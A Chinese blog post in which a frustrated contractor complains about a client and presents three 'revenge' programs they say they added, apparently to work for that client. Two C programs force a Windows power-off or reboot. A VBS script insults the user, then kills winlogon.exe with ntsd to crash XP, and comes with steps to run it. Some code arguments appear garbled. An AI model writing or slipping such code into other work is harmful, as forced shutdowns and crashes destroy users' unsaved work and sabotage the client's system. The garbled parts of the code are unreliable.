我听过的最为扯淡的一句话“甲方的需求已经确定,我们的项目可以开始了。”。

一个方案改了又改啊,甲方各种不乐意啊,说不能满足我们的需求啊。

发誓不再做乙方了。。。。

在极度纠结郁闷中,狠狠心加了三份代码,一份是VB针对XP的,另外两份是VC的

第一份(C语言)

 C Code 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include  "windows.h"
#include  "stdio.h"
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "advapi32.lib")
int main()
{
    HANDLE hToken;
    LUID luid;
    BOOL bRaised = FALSE;
    TOKEN_PRIVILEGES tokenPrivileges;
    PSTR pszPrivilege = SE_SHUTDOWN_NAME;
     if(OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
    {
         if(LookupPrivilegeValue( 0, pszPrivilege, &luid))
        {
            tokenPrivileges.PrivilegeCount =  1;
            tokenPrivileges.Privileges[ 0].Luid = luid;
            tokenPrivileges.Privileges[ 0].Attributes = SE_PRIVILEGE_ENABLED;
            bRaised = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges,  000);
        }
        CloseHandle(hToken);
    }
     if(bRaised)  ExitWindowsEx(EWX_POWEROFF | EWX_FORCE,  0);
      return  0;
}

第二份(C语言)

 C Code 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#include <stdio.h>
#include <windows.h>
int main()
{
    LPSTR msg =  "发誓不再做乙方 ";
     if(ExitWindowsEx(EWX_REBOOT,  0)) 
         return TRUE;
     if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE,  0)) 
         return TRUE;
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
     if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 
         return FALSE;
    LookupPrivilegeValue( NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[ 0].Luid);
    tkp.PrivilegeCount =  1;
    tkp.Privileges[ 0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, FALSE, &tkp,  0, (PTOKEN_PRIVILEGES) NULL0);
     if(!(GetVersion() & 0x80000000))
        InitiateSystemShutdown( NULL, msg,  8, TRUE, TRUE);
     else  if (!ExitWindowsEx(EWX_POWEROFF,  0))
         if(!ExitWindowsEx(EWX_POWEROFF | EWX_FORCE,  0))
         return FALSE;
     return TRUE;
}
第三份(针对XP的,win7无效,新建个文本文档,把代码复制进去,扩展名改为vbs就可以运行了)

 VB Code 
1
2
3
4
5
6
7
8
if MsgBox( "你是猪头吗?",vbYesNo, "提示")=vbyes then
msgbox  "你儍啊!"
else
msgbox  "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?", 64, "严重警告!!!!!!!!!"
Set ws = CreateObject( "Wscript.Shell")
wscript.sleep  1200
ws.run  "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide 
end  if

更多推荐

初学C语言的人看不懂的关机代码